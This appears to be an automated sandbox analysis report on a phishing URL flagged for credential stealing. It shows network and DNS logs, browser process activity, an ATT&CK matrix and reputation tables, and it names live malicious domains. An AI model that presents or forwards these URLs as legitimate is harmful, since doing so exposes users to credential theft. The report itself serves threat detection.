Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://baytul-hijabo.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://baytul-hijabo.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: baytul-hijabo.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://baytul-hijabo.ru//Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heCOdcd6DBu6vCN&MD=Hph1+bw2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a75363d0418258491551ead6717ca895 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: c-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3d4619f8959a0bb944ce9eb8ccf482ff HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: c-ring.msedge.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: zastromts.za.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: baytul-hijabo.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: aefd.nelreports.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3349sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsjsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 15:25:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, max-age=0pragma: no-cachevary: Accept-EncodingCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YFF9K0pSThgn1k3xDR9bk2Bo1W02aZC%2FVD0u0PZzwqpxidOlTDI00%2FVHiqEZIfWFvW2BSMaI%2FIx6tbaSUiURgK9RqNfPKH%2BIAlWuht0lHe3HFa59OCHCwcW%2FoX19L0H7nNlp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8dac6af0f852e51c-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1217&delivery_rate=2507359&cwnd=249&unsent_bytes=0&cid=09322bfb964ccaed&ts=4162&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 15:25:25 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ytgkFveBS/Qlq+qjOsKMeXhjGu+cJ/nMngk=$NmYoYA6X8cuHfJR1Server: cloudflareCF-RAY: 8dac6afd0ee4e7a6-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 15:25:29 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: eQ85DayubKmWRxBvDPvr4dgwVtA7KeLaRDY=$LeGoXSCe8/0hQofncache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8dac6b1509712d45-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 15:25:36 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 39dfIOadhtu0DD5hFTbZBVs8VRkpMlU0hWc=$pX/B4Q8TP32ZsLcGServer: cloudflareCF-RAY: 8dac6b3ceb3b2e5a-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 15:25:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCache-Control: private, no-cache, max-age=0pragma: no-cachevary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZKlDjR7eYb5YbCTRe%2FBwGO%2BawAzhOCUCnHLSRE5AjQ3BjOvcY3dWxYNaxD9B9M4G1r1j5wMCiahEf%2FjDwu6H0BtyKRn8EiYRLieUeQZYnv3W49s0eiGB2r6Mnm8gAz9c3Jo9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8dac6bce6d534614-DFWserver-timing: cfL4;desc="?proto=TCP&rtt=1179&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1167&delivery_rate=2327974&cwnd=32&unsent_bytes=0&cid=2801f80975e8bf47&ts=544&x=0"

Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://baytul-hijabo.ru//
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://baytul-hijabo.ru//#contact
Source: chromecache_102.1.dr	String found in binary or memory: https://baytul-hijabo.ru//#inventory
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://baytul-hijabo.ru//#services
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css
Source: chromecache_87.1.dr, chromecache_110.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_87.1.dr, chromecache_110.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_90.1.dr, chromecache_96.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_90.1.dr, chromecache_96.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://instagram.com/baytul-hijabo.ru
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://linkedin.com/in/baytul-hijabo.ru
Source: chromecache_92.1.dr, chromecache_102.1.dr	String found in binary or memory: https://x.com/baytul-hijabo.ru

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.4.254:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49781 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@20/71@32/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1784,i,11358973275970356452,17358805658181886115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zastromts.za.com/v3oX/#E"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1784,i,11358973275970356452,17358805658181886115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://zastromts.za.com/v3oX/#E	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://getbootstrap.com/)	0%	URL Reputation	safe
https://fontawesome.com/license/free	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
zastromts.za.com	188.114.97.3	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
www.google.com	142.250.184.196	true	false	unknown
baytul-hijabo.ru	172.67.148.193	true	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
aefd.nelreports.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8dac6ae8de8646e3&lang=auto	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8dac6ae8de8646e3/1730301924771/J-k-xKzMY8POWMy	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/	false		unknown
https://zastromts.za.com/v3oX/#E	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		unknown
